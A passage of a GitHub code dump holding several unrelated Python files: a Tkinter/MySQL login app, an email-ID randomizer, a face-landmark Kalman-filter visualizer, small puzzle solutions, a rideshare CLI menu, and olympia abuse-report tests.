row == None:\r\n messagebox.showerror('Error', 'Invalid Username And Password', parent=self.root)\r\n self.loginclear()\r\n self.email_txt.focus()\r\n else:\r\n self.appscreen()\r\n con.close()\r\n except Exception as es:\r\n messagebox.showerror('Error', f'Error Due to : {str(es)}', parent=self.root)\r\n\r\n def Register(self):\r\n Frame_login1 = Frame(self.root, bg=\"black\")\r\n Frame_login1.place(x=0, y=0, height=700, width=1366)\r\n self.img = ImageTk.PhotoImage(file=\"background-2.png\")\r\n img = Label(Frame_login1, image=self.img).place(x=0, y=0, width=1366, height=700)\r\n\r\n frame_input2 = Frame(self.root, bg='black')\r\n frame_input2.place(x=280, y=130, height=450, width=630)\r\n\r\n label1 = Label(frame_input2, text=\"Registro\", font=('courier', 32, 'bold'), fg=\"cyan\", bg='black')\r\n label1.place(x=45, y=20)\r\n\r\n label2 = Label(frame_input2, text=\"Usuario\", font=(\"courier\", 20, \"bold\"), fg='cyan', bg='black')\r\n label2.place(x=30, y=95)\r\n\r\n self.entry = Entry(frame_input2, font=(\"courier\", 15, \"bold\"), bg='lightgray')\r\n self.entry.place(x=30, y=145, width=270, height=35)\r\n\r\n label3 = Label(frame_input2, text=\"Contraseña\", font=(\"courier\", 20, \"bold\"), fg='cyan', bg='black')\r\n label3.place(x=30, y=195)\r\n\r\n self.entry2 = Entry(frame_input2, font=(\"courier\", 15, \"bold\"), bg='lightgray')\r\n self.entry2.place(x=30, y=245, width=270, height=35)\r\n\r\n label4 = Label(frame_input2, text=\"Email-id\", font=(\"courier\", 20, \"bold\"), fg='cyan', bg='black')\r\n label4.place(x=330, y=95)\r\n\r\n self.entry3 = Entry(frame_input2, font=(\"courier\", 15, \"bold\"), bg='lightgray')\r\n self.entry3.place(x=330, y=145, width=270, height=35)\r\n\r\n label5 = Label(frame_input2, text=\"Confirmar contraseña\", font=(\"courier\", 15, \"bold\"), fg='cyan', bg='black')\r\n label5.place(x=330, y=195)\r\n\r\n self.entry4 = Entry(frame_input2, font=(\"courier\", 15, \"bold\"), bg='lightgray')\r\n self.entry4.place(x=330, y=245, width=270, height=35)\r\n\r\n btn2 = Button(frame_input2, command=self.register, text=\"Registrar\", cursor=\"hand2\", font=(\"courier\", 15), fg=\"black\", bg=\"cyan\", bd=0, width=15, height=3)\r\n btn2.place(x=90, y=340)\r\n\r\n btn3 = Button(frame_input2, command=self.loginform, text=\"Login\", cursor=\"hand2\", font=(\"courier\", 15), bg='cyan', fg=\"black\", bd=0, width =15, height=3)\r\n btn3 = Button(frame_input2, command=self.loginform, text=\"Login\", cursor=\"hand2\", font=(\"courier\", 15), bg='cyan', fg=\"black\", bd=0, width =15, height=3)\r\n btn3.place(x=400, y=340)\r\n\r\n def register(self):\r\n if self.entry.get() == \"\" or self.entry2.get() == \"\" or self.entry3.get() == \"\" or self.entry4.get() == \"\":\r\n messagebox.showerror(\"Error\", \"Complete todos los campos\", parent=self.root)\r\n elif self.entry2.get() != self.entry4.get():\r\n messagebox.showerror(\"Error\", \"Contraseñas no coinciden\", parent=self.root)\r\n else:\r\n try:\r\n con = pymysql.connect(host=\"localhost\", user=\"root\", password=\"\", database=\"login\")\r\n cur = con.cursor()\r\n cur.execute(\"select * from logintbl where emailid=%s\", self.entry3.get())\r\n row = cur.fetchone()\r\n if row != None:\r\n messagebox.showerror(\"Error\", \"Usuario ya existe\", parent=self.root)\r\n self.regclear()\r\n self.entry.focus()\r\n else:\r\n cur.execute(\"INSERT INTO logintbl VALUES (%s, %s, %s, %s)\",\r\n (self.entry.get(), self.entry3.get(), self.entry2.get(), self.entry4.get()))\r\n con.commit()\r\n con.close()\r\n messagebox.showinfo(\"Éxito!\", \"Registro completado!\", parent=self.root)\r\n self.regclear()\r\n except Exception as es:\r\n messagebox.showerror(\"Error\", f\"Error due to:{str(es)}\", parent=self.root)\r\n\r\n def appscreen(self):\r\n self.root.withdraw() # Close the login window\r\n root2 = Toplevel() # Create a new window for the scanner and encrypt pages\r\n root2.title(\"Hoved Kit\")\r\n root2.geometry(\"1366x700+0+0\")\r\n root2.resizable(False, False)\r\n root2.configure(bg='#000000')\r\n\r\n background_img = ImageTk.PhotoImage(file=\"background-4.png\")\r\n background_label = Label(root2, image=background_img)\r\n background_label.place(x=0, y=0, relwidth=1, relheight=1)\r\n\r\n btn_scanner = Button(root2, text=\"Scanner\", command=self.open_scanner, cursor=\"hand2\",\r\n font=(\"courier\", 15),\r\n bd=0, width=15, height=1, bg='#000000', fg=\"cyan\")\r\n btn_scanner.place(x=500, y=500, width=200, height=50)\r\n\r\n btn_encrypt = Button(root2, text=\"Encrypt\", command=self.open_encrypt, cursor=\"hand2\",\r\n font=(\"courier\", 15),\r\n bd=0, width=15, height=1, bg='#000000', fg=\"cyan\")\r\n btn_encrypt.place(x=700, y=500, width=200, height=50)\r\n\r\n\r\n root2.mainloop()\r\n\r\n\r\n\r\n\r\n def open_scanner(self):\r\n import scanner\r\n scanner.startScan()\r\n scanner.saveScan()\r\n scanner.clearScan()\r\n scanner.updateResult()\r\n scanner.listScans()\r\n scanner.closeScanner()\r\n\r\n\r\n\r\n\r\n\r\n def open_encrypt(self):\r\n import encrypt\r\n encrypt.clear()\r\n encrypt.encrypt()\r\n encrypt.decrypt()\r\n encrypt.openUpdateWindow()\r\n encrypt.listEncryptions()\r\n\r\n\r\n\r\n\r\nroot = Tk()\r\nob = Login(root)\r\nroot.mainloop()\r\n","repo_name":"impossiblecandy/my_exercises","sub_path":"images/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":8228,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"3750439889","text":"import json\nimport random\nimport string\nimport sys\n\n# Read input into binary string\ndata = sys.stdin.readlines()\ndata = json.loads(\"\".join(data).replace(\"\\n\", \"\"))\n\nalphabet = string.ascii_uppercase + string.digits\n\nbody = data[\"Notification\"][\"Body\"]\n\n\ndef randomize(input):\n return \"\".join(random.choices(alphabet, k=len(str(input))))\n\n\nif \"Ticket\" in body:\n body[\"Ticket\"][\"TicketID\"] = randomize(body[\"Ticket\"][\"TicketID\"])\n\nbody[\"EmailId\"] = randomize(body[\"EmailId\"])\nbody[\"ClientId\"] = randomize(body[\"ClientId\"])\n\nif random.randint(0, 100) > 90:\n body[\"ParentID\"] = randomize(body[\"EmailId\"])\nelse:\n body.pop(\"ParentID\", None)\n\ndata[\"Notification\"][\"Body\"] = body\n\nprint(json.dumps(data), end=\"\")\n","repo_name":"Bruin-Dev/Intelygenz","sub_path":"services/email-tagger-monitor/scripts/randomize.py","file_name":"randomize.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15146490386","text":"import json\nimport numpy as np\nfrom scipy.spatial import procrustes\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.animation as animation\nfrom filterpy.kalman import MerweScaledSigmaPoints\nfrom filterpy.kalman import UnscentedKalmanFilter as UKF\nfrom filterpy.common import Q_discrete_white_noise\n\nfrom scipy.spatial.transform import Rotation\n\n\ndef best_fit_transform(A, B):\n \"\"\"\n Calculates the least-squares best-fit transform that maps \n corresponding points A to B in m spatial dimensions\n Input:\n A: Nxm numpy array of corresponding points\n B: Nxm numpy array of corresponding points\n Returns:\n T: (m+1)x(m+1) homogeneous transformation matrix that maps A on to B\n R: mxm rotation matrix\n t: mx1 translation vector\n \"\"\"\n\n assert A.shape == B.shape\n\n # get number of dimensions\n m = A.shape[1]\n\n # translate points to their centroids\n centroid_A = np.mean(A, axis=0)\n centroid_B = np.mean(B, axis=0)\n AA = A - centroid_A\n BB = B - centroid_B\n\n # rotation matrix\n H = np.dot(AA.T, BB)\n U, S, Vt = np.linalg.svd(H)\n R = np.dot(Vt.T, U.T)\n\n # special reflection case\n if np.linalg.det(R) < 0:\n Vt[m - 1, :] *= -1\n R = np.dot(Vt.T, U.T)\n\n # translation\n t = centroid_B.T - np.dot(R, centroid_A.T)\n\n # homogeneous transformation\n T = np.identity(m + 1)\n T[:m, :m] = R\n T[:m, m] = t\n\n return T, R, t\n\n\ndef get_face_template(landmarks):\n # Initialize a matrix to hold the registered landmarks\n registered_landmarks = np.zeros_like(landmarks)\n\n # Use the first frame as the target for registration\n target = landmarks[0]\n\n # Register all frames to the target\n for i in range(landmarks.shape[0]):\n _, R, t = best_fit_transform(landmarks[i], target)\n registered_landmarks[i] = landmarks[i].dot(R.T) + t\n\n # Compute the mean landmark positions to serve as a template\n template = registered_landmarks.mean(axis=0)\n\n return template\n\n\ndef register_template(landmarks, template):\n _, R, t = best_fit_transform(template, landmarks[0])\n template_aligned = template.dot(R.T) + t\n R_seq = []\n t_seq = []\n for i in range(landmarks.shape[0]):\n _, R, t = best_fit_transform(template_aligned, landmarks[i])\n R_seq.append(R)\n t_seq.append(t)\n\n return np.array(R_seq), np.array(t_seq)\n\n\ndef transform_coords(points, R_seq, t_seq):\n # Check that the dimensions are compatible\n assert points.shape[0] == R_seq.shape[0] == t_seq.shape[0]\n assert points.shape[2] == R_seq.shape[2] == R_seq.shape[1] == t_seq.shape[1] == 3\n\n T = points.shape[0]\n N = points.shape[1]\n\n # Initialize transformed points array\n transformed_points = np.empty_like(points)\n\n for t in range(T):\n # Reshape points for matrix multiplication\n points_reshape = points[t].T.reshape(3, N)\n\n # Apply rotation and translation\n transformed_points[t] = np.dot(\n np.linalg.inv(R_seq[t]), points_reshape - t_seq[t].reshape(3, 1)\n )\n\n # Reshape back to original shape\n transformed_points[t] = transformed_points[t].T.reshape(N, 3)\n\n return transformed_points\n\n\ndef f_state(state, dt):\n # Check that the state vector has the correct size\n assert state.shape == (12,)\n\n # Split the state vector into position, velocity, orientation and angular velocity\n pos = state[0:3]\n vel = state[3:6]\n orientation = state[6:9]\n angular_vel = state[9:]\n\n # Predict next state by assuming constant velocity and angular velocity\n next_pos = pos + vel * dt\n next_orientation = orientation + angular_vel * dt\n\n # The velocities remain unchanged under the constant velocity assumption\n next_vel = vel\n next_angular_vel = angular_vel\n\n # Concatenate to form the next state vector\n next_state = np.concatenate(\n (next_pos, next_vel, next_orientation, next_angular_vel)\n )\n\n return next_state\n\n\ndef h_observation(state):\n # Check that the state vector has the correct size\n assert state.shape == (12,)\n\n # Split the state vector into position, velocity, orientation and angular velocity\n pos = state[0:3]\n orientation = state[6:9]\n\n z = np.concatenate([pos, orientation])\n return z\n\n\ndef rotation_translation_to_vector(R_seq, t_seq):\n T = R_seq.shape[0]\n vec_seq = np.empty((T, 6))\n\n for t in range(T):\n rotation = Rotation.from_matrix(R_seq[t])\n euler_angles = rotation.as_euler(\"xyz\", degrees=False)\n\n vec_seq[t, :3] = t_seq[t]\n vec_seq[t, 3:] = euler_angles\n\n return vec_seq\n\n\ndef vector_to_rotation_translation(vec_seq):\n T = vec_seq.shape[0]\n R_seq = np.empty((T, 3, 3))\n t_seq = np.empty((T, 3))\n\n for t in range(T):\n # Convert the Euler angles back into a rotation matrix\n euler_angles = vec_seq[t, 3:]\n rotation = Rotation.from_euler(\"xyz\", euler_angles, degrees=False)\n R_seq[t] = rotation.as_matrix()\n\n # Extract the translation vector\n t_seq[t] = vec_seq[t, :3]\n\n return R_seq, t_seq\n\n\ndef estimate_variance(state):\n m = (state[0:-2] + state[1:-1] + state[2:]) / 3.0\n v = ((state[0:-2] - m) ** 2 + (state[1:-1] - m) ** 2 + (state[2:] - m) ** 2) / 3.0\n v = np.mean(v, axis=0)\n\n return v\n\n\ndef ukf_filter(R_seq, t_seq, dt=0.04):\n obs = rotation_translation_to_vector(R_seq, t_seq)\n\n sigmas = MerweScaledSigmaPoints(12, alpha=0.1, beta=2.0, kappa=0)\n ukf = UKF(dim_x=12, dim_z=6, fx=f_state, hx=h_observation, dt=dt, points=sigmas)\n\n ukf.x = np.concatenate([obs[0, 0:3], np.zeros(3), obs[0, 3:6], np.zeros(3)])\n ukf.P = np.diag(\n [\n 0.05,\n 0.05,\n 0.05,\n 0.01,\n 0.01,\n 0.01,\n 0.0005,\n 0.0005,\n 0.0005,\n 0.0005,\n 0.0005,\n 0.0005,\n ]\n )\n ukf.R = np.diag([0.05, 0.05, 0.05, 0.0005, 0.0005, 0.0005])\n\n Q = np.zeros((12, 12))\n Q[0:6, 0:6] = Q_discrete_white_noise(\n dim=2, dt=dt, var=0.1, block_size=3, order_by_dim=False\n )\n Q[6:12, 6:12] = Q_discrete_white_noise(\n dim=2, dt=dt, var=0.01, block_size=3, order_by_dim=False\n )\n ukf.Q = Q\n\n mean, cov = ukf.batch_filter(obs)\n\n mean = np.concatenate([mean[:, 0:3], mean[:, 6:9]], axis=1)\n R_pred, t_pred = vector_to_rotation_translation(mean)\n\n return R_pred, t_pred\n\n\ndef transform_coords(points, R_seq, t_seq):\n # Check that the dimensions are compatible\n assert points.shape[0] == R_seq.shape[0] == t_seq.shape[0]\n assert points.shape[2] == R_seq.shape[2] == R_seq.shape[1] == t_seq.shape[1] == 3\n\n T = points.shape[0]\n N = points.shape[1]\n\n # Initialize transformed points array\n transformed_points = np.empty_like(points)\n\n for t in range(T):\n # Reshape points for matrix multiplication\n points_reshape = points[t].T.reshape(3, N)\n # Apply rotation and translation\n points_reshape = np.dot(\n np.linalg.inv(R_seq[t]), points_reshape - t_seq[t].reshape(3, 1)\n )\n\n # Reshape back to original shape\n transformed_points[t] = points_reshape.T.reshape(N, 3)\n\n return transformed_points\n\n\ndef smooth_points(points, k):\n # Create a uniform kernel for convolution\n\n # Apply convolution along the time axis\n smoothed_points = np.zeros_like(points)\n for i in range(points.shape[0]):\n start = max(0, i - k // 2)\n end = min(points.shape[0], i + k // 2)\n smoothed_points[i] = np.mean(points[start:end], axis=0)\n\n return smoothed_points\n\n\ndef main():\n face_landmarks_seq = np.load(open(\"face_landmarks_seq.npy\", \"rb\"))\n keypoints_seq = np.load(open(\"keypoints_seq.npy\", \"rb\"))\n\n template = get_face_template(face_landmarks_seq)\n\n R_seq, t_seq = register_template(face_landmarks_seq, template)\n\n R_pred, t_pred = ukf_filter(R_seq, t_seq)\n\n keypoints_transformed = transform_coords(keypoints_seq, R_pred, t_pred)\n face_landmarks_transformed = transform_coords(face_landmarks_seq, R_pred, t_pred)\n\n num_frames = len(face_landmarks_seq)\n # Create the 3D figure\n fig = plt.figure(figsize=(10, 10))\n ax = fig.add_subplot(111, projection=\"3d\")\n\n def update_axes(frame):\n ax.cla()\n R, t = R_seq[frame], t_seq[frame]\n ax.scatter(*t, color=\"g\")\n\n # Plot each axis of this transform\n for i, color in enumerate([\"g\", \"g\", \"g\"]):\n # Calculate the end point of this axis\n end = t + R[:, i] * 3\n ax.quiver(*t, *(end - t), color=color)\n\n R, t = R_pred[frame], t_pred[frame]\n ax.scatter(*t, color=\"r\")\n\n # Plot each axis of this transform\n for i, color in enumerate([\"r\", \"r\", \"r\"]):\n # Calculate the end point of this axis\n end = t + R[:, i] * 3\n ax.quiver(*t, *(end - t), color=color)\n\n ax.set_xlim([-20, 20])\n ax.set_ylim([-20, 20])\n ax.set_zlim([-20, 20])\n\n face_landmarks_vis = smooth_points(face_landmarks_transformed, 10)\n keypoints_vis = smooth_points(keypoints_transformed, 10)\n\n # Function to update the scatter plot for each frame\n def update(frame):\n ax.cla() # Clear the plot\n ax.scatter(\n face_landmarks_vis[frame][:, 0],\n face_landmarks_vis[frame][:, 1],\n face_landmarks_vis[frame][:, 2] * 1.5,\n s=5,\n color=\"grey\",\n )\n\n ax.scatter(\n keypoints_vis[frame][:, 0],\n keypoints_vis[frame][:, 1],\n keypoints_vis[frame][:, 2] * 1.5,\n s=30,\n color=\"darkorange\",\n )\n ax.set_xlim([-100, 100])\n ax.set_ylim([-100, 100])\n ax.set_zlim([-100, 100])\n\n ax.view_init(elev=0, azim=frame)\n ax.set_axis_off()\n\n # Create the animation\n ani = animation.FuncAnimation(fig, update, frames=num_frames, interval=20)\n\n # ani = animation.FuncAnimation(fig, update_axes, frames=num_frames, interval=20)\n\n plt.show()\n\n\nmain()\n","repo_name":"Zengyi-Qin/teethtrack-stereo","sub_path":"vis.py","file_name":"vis.py","file_ext":"py","file_size_in_byte":10091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"41254398534","text":"# -*- coding: utf-8 -*-\n\n\ndef main():\n from collections import defaultdict\n import sys\n\n input = sys.stdin.readline\n \n n = int(input())\n a = [0] + list(map(int, input().split()))\n d = defaultdict(int)\n\n for i in range(1, n + 1):\n if d[i] == 0:\n d[a[i]] += 1\n \n ans = list()\n \n for i in range(1, n + 1):\n if d[i] == 0:\n ans.append(i)\n \n print(len(ans))\n print(*sorted(ans))\n \n\nif __name__ == \"__main__\":\n main()\n","repo_name":"KATO-Hiro/AtCoder","sub_path":"ABC/abc251-abc300/abc293/b/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"24326142377","text":"import mini_project_1_291 as backend\nimport os\nfrom getpass import getpass\nfrom time import sleep\n\n# Written by Noah\n\ndef showFive(fullList, label):\n start = 0\n end = min(4, len(fullList)-1)\n \n while True:\n os.system('clear')\n print(label)\n for i, option in enumerate(fullList[start:end+1]):\n print(start+i+1, \": \", option, sep=\"\")\n\n print()\n if start > 0:\n print(\"-1: prev\")\n if end != len(fullList)-1:\n print(\"0: next\")\n\n print()\n choice = int(input(\"Make a choice by entering a number: \"))\n\n if choice == -1 and start > 0:\n start -= 5\n end = min(start+4, len(fullList)-1)\n elif choice == 0 and end != len(fullList)-1:\n start += 5\n end = min(start+4, len(fullList)-1)\n elif choice >= start+1 and choice <= end+1:\n print(fullList[choice-1])\n return(fullList[choice-1])\n \n\ndef offerRide(email):\n # Menu for offering a ride, feature 1 in spec\n\n os.system('clear')\n date = input(\"Enter date (YYYY-MM-DD): \")\n seats = int(input(\"Enter the number of seats: \"))\n price = int(input(\"Enter the price per seat: \"))\n lugg = input(\"Enter the luggage description: \")\n\n src = input(\"Enter source location: \")\n matches = backend.findLoc(src)\n if len(matches) == 0:\n input(\"No matches found, press enter to continue\")\n offerRide(email)\n elif len(matches) == 1:\n srclcode = matches[0][0]\n else:\n location = showFive(matches, \"lcode, city, prov, address\")\n srclcode = location[0]\n \n dst = input(\"Enter destination location: \")\n matches = backend.findLoc(dst)\n if len(matches) == 0:\n input(\"No matches found, press enter to continue\")\n offerRide(email)\n elif len(matches) == 1:\n dstlcode = matches[0][0]\n else:\n location = showFive(matches, \"lcode, city, prov, address\")\n dstlcode = location[0]\n \n cno = input(\"Enter car number, or -1 if none: \")\n if cno == \"-1\":\n cno = None\n enroutes = input(\"Enter enroute locations, separated by commas, or -1 for none: \").split(\",\")\n\n if enroutes[0] == \"-1\":\n enrouteslcode = None\n else:\n enrouteslcode = []\n for route in enroutes:\n matches = backend.findLoc(route)\n location = showFive(matches, \"lcode, city, prov, address\")\n lcode = location[0]\n enrouteslcode.append(lcode) \n \n backend.offerRide(email, date, seats, price, lugg, srclcode, dstlcode, enrouteslcode, cno)\n\n\ndef searchRide(email):\n # Menu for searching for a ride and messaging the driver, feature 2 in spec\n\n os.system('clear')\n\n keywords = input(\"Enter 1-3 keywords separated by commas: \").split(\",\")\n\n matches = backend.rideSearchFromKeyword(tuple(keywords))\n\n ride = showFive(matches, \"cno, make, model, year, car seats, owner, rno, price, date, offered seats, luggage, src, dst, driver, cno, lcode\")\n\n message = input(\"Enter message content: \")\n backend.sendMessage(ride[5], email, message, ride[6])\n\n input(\"Message sent, press enter to continue: \")\n menu(email)\n\n\ndef bookings(email):\n # Booking management menu, feature 3 in spec\n\n while True:\n os.system('clear')\n print(\"1: List bookings\")\n print(\"2: Cancel a booking\")\n print(\"3: Book a member\")\n print(\"4: Return to menu\")\n choice = input(\"Make a selection by entering a number: \")\n\n if choice == \"1\":\n os.system('clear')\n matches = backend.findMatchingBookings(email)\n\n print(\"|booking number|email|ride number|cost|seats|pickup|dropoff|\\n\")\n for match in matches:\n print(match)\n input(\"Press enter to continue\")\n\n elif choice == \"2\":\n os.system('clear')\n matches = backend.findMatchingBookings(email)\n booking = showFive(matches, \"|booking number|email|ride number|cost|seats|pickup|dropoff|\")\n\n backend.deleteBooking(booking[0])\n message = \"Your booking from \" + str(booking[5]) + \" to \" + str(booking[6]) + \" has been cancelled\"\n backend.sendMessage(booking[1], email, message, booking[2])\n\n elif choice == \"3\":\n os.system('clear')\n\n matches = backend.findMatchingRides(email)\n\n ride = showFive(matches, \"rno, price, rdate, seats, lugDesc, src, dst, driver, cno\")\n\n bookedEmail = input(\"Enter the email of the member to book: \")\n seatsBooked = input(\"Enter the number of seats to book: \")\n seatCost = input(\"Enter cost per seat: \")\n pickup = input(\"Enter pickup location code: \")\n dropoff = input(\"Enter dropoff location code: \")\n\n backend.issueBooking(bookedEmail, ride[0], seatCost, seatsBooked, pickup, dropoff)\n\n elif choice == \"4\":\n menu(email)\n \n\n\ndef postRequest(email):\n # Menu for posting a request, feature 4 in spec\n\n os.system('clear')\n\n date = input(\"Enter date (YYYY-MM-DD): \")\n src = input(\"Enter pickup location code: \")\n dst = input(\"Enter destination location code: \")\n amount = int(input(\"Enter amount willing to pay per seat: \"))\n\n backend.postRideRequest(date, email, src, dst, amount)\n menu(email)\n\n\ndef manageRequests(email):\n # Viewing and deleting ride requests, feature 5 in spec\n while True:\n os.system('clear')\n print(\"1: List all your ride requests\")\n print(\"2: Delete ride request\")\n print(\"3: Search for ride requests and message the reqesting member\")\n print(\"4: Return to menu\")\n choice = input(\"Make a selection by entering a number: \")\n\n if choice == \"1\":\n requests = backend.retRequest(email)\n \n if len(requests) == 0:\n input(\"\\nNo requests to show, press enter to continue\")\n manageRequests(email)\n\n showFive(requests, \"rid, email, pickup, dropoff, date, amount\")\n elif choice == \"2\":\n requests = backend.retRequest(email)\n\n if len(requests) == 0:\n input(\"\\nNo requests to show, press enter to continue\")\n manageRequests(email)\n\n request = showFive(requests, \"rid, email, pickup, dropoff, rdate, amount\")\n backend.deleteRequest(request[0])\n\n elif choice == \"3\":\n keyword = input(\"Enter lcode or pickup city: \")\n requests = backend.retLocation(keyword)\n\n if len(requests) == 0:\n input(\"\\nNo requests to show, press enter to continue\")\n manageRequests(email)\n\n request = showFive(requests, \"rid, email, pickup, dropoff, rdate, amount\")\n\n message = input(\"Enter message content: \")\n backend.sendMessage(request[1], email, message, int(request[0])) \n print(\"Message sent, press enter to continue\")\n\n menu(email)\n elif choice == \"4\":\n menu(email)\n\ndef menu(email):\n while True:\n os.system('clear')\n print(\"Logged in as:\", email)\n print()\n\n messages = backend.getUnreadMessages(email)\n\n if len(messages) > 0:\n print(\"--------------------\")\n print(\"Unseen Messages:\\n\")\n\n for message in messages:\n print(message[0])\n print(\"--------------------\")\n print(\"\\n\")\n\n print(\"1: Offer a ride\")\n print(\"2: Search for rides\")\n print(\"3: Book members or cancel bookings\")\n print(\"4: Post a ride request\")\n print(\"5: Manage ride requests\")\n print(\"6: Logout\")\n print()\n \n choice = input(\"Pick an option by entering a number: \")\n \n if choice == \"1\":\n offerRide(email)\n elif choice == \"2\":\n searchRide(email)\n elif choice == \"3\":\n bookings(email)\n elif choice == \"4\":\n postRequest(email)\n elif choice == \"5\":\n manageRequests(email)\n elif choice == \"6\":\n loginScreen()\n else:\n print(\"\\n Incorrect choice, try again\")\n menu(email)\n\n\ndef loginScreen():\n os.system('clear')\n while True:\n choice = input(\"Enter 'e' for existing user or 'n' for new user: \")\n \n if choice == 'n':\n # new member\n os.system('clear')\n email = input(\"Enter your email: \")\n name = input(\"Enter your name: \")\n phone = input(\"Enter your phone number (xxx-xxx-xxxx): \")\n password = getpass(prompt=\"Enter a password: \")\n unique = backend.addMember(email, name, phone, password)\n\n if unique:\n print(\"Account creation successful\")\n sleep(2) # give time for message to show before clearing screen and showing menu \n menu(email)\n else:\n print(\"Account creation failed, email not unique\") \n\n elif choice == 'e':\n # existing member\n os.system('clear')\n email = input(\"Enter your email: \")\n password = getpass(prompt=\"Enter your password: \")\n\n valid = backend.checkLogin(email, password)\n\n if valid:\n menu(email)\n else:\n os.system('clear')\n print(\"Incorrect email/password\")\n\n\nbackend.main() # initialize cursor and connection\n\n#showFive([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]) # for testing\n#print(backend.checkLogin(\"bob@123.ca\", \"bpass\"))\n#print(backend.getUnreadMessages(\"don@mayor.yeg\")) # should print both messages\n#print(backend.getUnreadMessages(\"don@mayor.yeg\")) # should print no messages (they have been read)\n\n# should be True, False, False\n#print(backend.addMember(\"foo@bar.baz\", \"foobar\", \"123-456-7890\", \"foopass\"))\n#print(backend.addMember(\"foo@bar.baz\", \"foobar\", \"123-456-7890\", \"foopass\"))\n#print(backend.addMember('don@mayor.yeg', 'Don Iveson', '780-382-8239', 'dpass'))\n\n#offerRide()\n#searchRide(\"don@mayor.yeg\")\n#postRequest(\"don@mayor.yeg\")\n#menu(\"don@mayor.yeg\")\n\n\nloginScreen()","repo_name":"Ohi-Ahimie/Mini_Project_1_291","sub_path":"interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":10234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"21376293831","text":"from sys import stdin\nlines = stdin.readlines()\n\nfrom ba1a import PatternCount\n\ndef n_wise(it, n):\n it = iter(it)\n while True:\n yield [next(it) for i in range(n)]\n\ndef FrequentWords(text, k):\n patterns = set(text[i:i+k] for i in range(len(text) - k + 1))\n best_count = 0\n count = dict()\n for pattern in patterns:\n count[pattern] = PatternCount(text, pattern)\n best_count = max(best_count, count[pattern])\n return [pattern for pattern in patterns if count[pattern] == best_count], best_count\n\nfor text, k in n_wise(lines, 2):\n text = text.strip()\n k = int(k.strip())\n res, c = FrequentWords(text, k)\n print(c, ' '.join(res))\n","repo_name":"redcpp/Competitive-Programming","sub_path":"rosalind/bio_algos/1b.py","file_name":"1b.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11167275606","text":"# -*- coding: utf-8 -*-\nfrom django.conf import settings\nfrom django.core import mail\n\nimport mock\nimport six\n\nfrom olympia.abuse.models import AbuseReport, GeoIP2Error, GeoIP2Exception\nfrom olympia.amo.tests import TestCase\n\n\nclass TestAbuse(TestCase):\n fixtures = ['base/addon_3615', 'base/user_999']\n\n def test_choices(self):\n assert AbuseReport.ADDON_SIGNATURES.choices == ((None, 'None'),)\n assert AbuseReport.ADDON_SIGNATURES.api_choices == ((None, None),)\n\n assert AbuseReport.REASONS.choices == (\n (None, 'None'),\n (1, 'Malware'),\n (2, 'Spam / Advertising'),\n (3, 'Search takeover'),\n (4, 'New tab takeover'),\n (5, 'Breaks websites'),\n (6, 'Offensive'),\n (7, \"Doesn't match description\"),\n (8, \"Doesn't work\"),\n )\n assert AbuseReport.REASONS.api_choices == (\n (None, None),\n (1, 'malware'),\n (2, 'spam_or_advertising'),\n (3, 'search_takeover'),\n (4, 'new_tab_takeover'),\n (5, 'breaks_websites'),\n (6, 'offensive'),\n (7, 'does_not_match_description'),\n (8, 'does_not_work'),\n )\n\n assert AbuseReport.ADDON_INSTALL_METHODS.choices == (\n (None, 'None'),\n (1, 'Add-on Manager Web API'),\n (2, 'Direct link'),\n (3, 'Install Trigger'),\n (4, 'From File'),\n (5, 'Webext management API'),\n (6, 'Drag & Drop'),\n (7, 'Sideload'),\n )\n assert AbuseReport.ADDON_INSTALL_METHODS.api_choices == (\n (None, None),\n (1, 'amwebapi'),\n (2, 'link'),\n (3, 'installtrigger'),\n (4, 'install-from-file'),\n (5, 'management-webext-api'),\n (6, 'drag-and-drop'),\n (7, 'sideload')\n )\n\n assert AbuseReport.REPORT_ENTRY_POINTS.choices == (\n (None, 'None'),\n (1, 'Uninstall'),\n (2, 'Menu')\n )\n assert AbuseReport.REPORT_ENTRY_POINTS.api_choices == (\n (None, None),\n (1, 'uninstall'),\n (2, 'menu')\n )\n\n def test_user(self):\n report = AbuseReport(user_id=999)\n report.send()\n assert (\n six.text_type(report) ==\n u'[User] Abuse Report for regularuser التطب')\n assert (\n mail.outbox[0].subject ==\n u'[User] Abuse Report for regularuser التطب')\n assert 'user/999' in mail.outbox[0].body\n\n assert mail.outbox[0].to == [settings.ABUSE_EMAIL]\n\n def test_addon(self):\n report = AbuseReport(addon_id=3615)\n assert (\n six.text_type(report) ==\n u'[Extension] Abuse Report for Delicious Bookmarks')\n report.send()\n assert (\n mail.outbox[0].subject ==\n u'[Extension] Abuse Report for Delicious Bookmarks')\n assert 'addon/a3615' in mail.outbox[0].body\n\n def test_addon_fr(self):\n with self.activate(locale='fr'):\n report = AbuseReport(addon_id=3615)\n assert (\n six.text_type(report) ==\n u'[Extension] Abuse Report for Delicious Bookmarks')\n report.send()\n assert (\n mail.outbox[0].subject ==\n u'[Extension] Abuse Report for Delicious Bookmarks')\n\n def test_guid(self):\n report = AbuseReport(guid='foo@bar.org')\n report.send()\n assert (\n six.text_type(report) ==\n u'[Addon] Abuse Report for foo@bar.org')\n assert (\n mail.outbox[0].subject ==\n u'[Addon] Abuse Report for foo@bar.org')\n assert 'GUID not in database' in mail.outbox[0].body\n\n @mock.patch('olympia.abuse.models.GeoIP2')\n def test_lookup_country_code_from_ip(self, GeoIP2_mock):\n GeoIP2_mock.return_value.country_code.return_value = 'ZZ'\n assert AbuseReport.lookup_country_code_from_ip('') == ''\n assert AbuseReport.lookup_country_code_from_ip('notanip') == ''\n assert GeoIP2_mock.return_value.country_code.call_count == 0\n\n 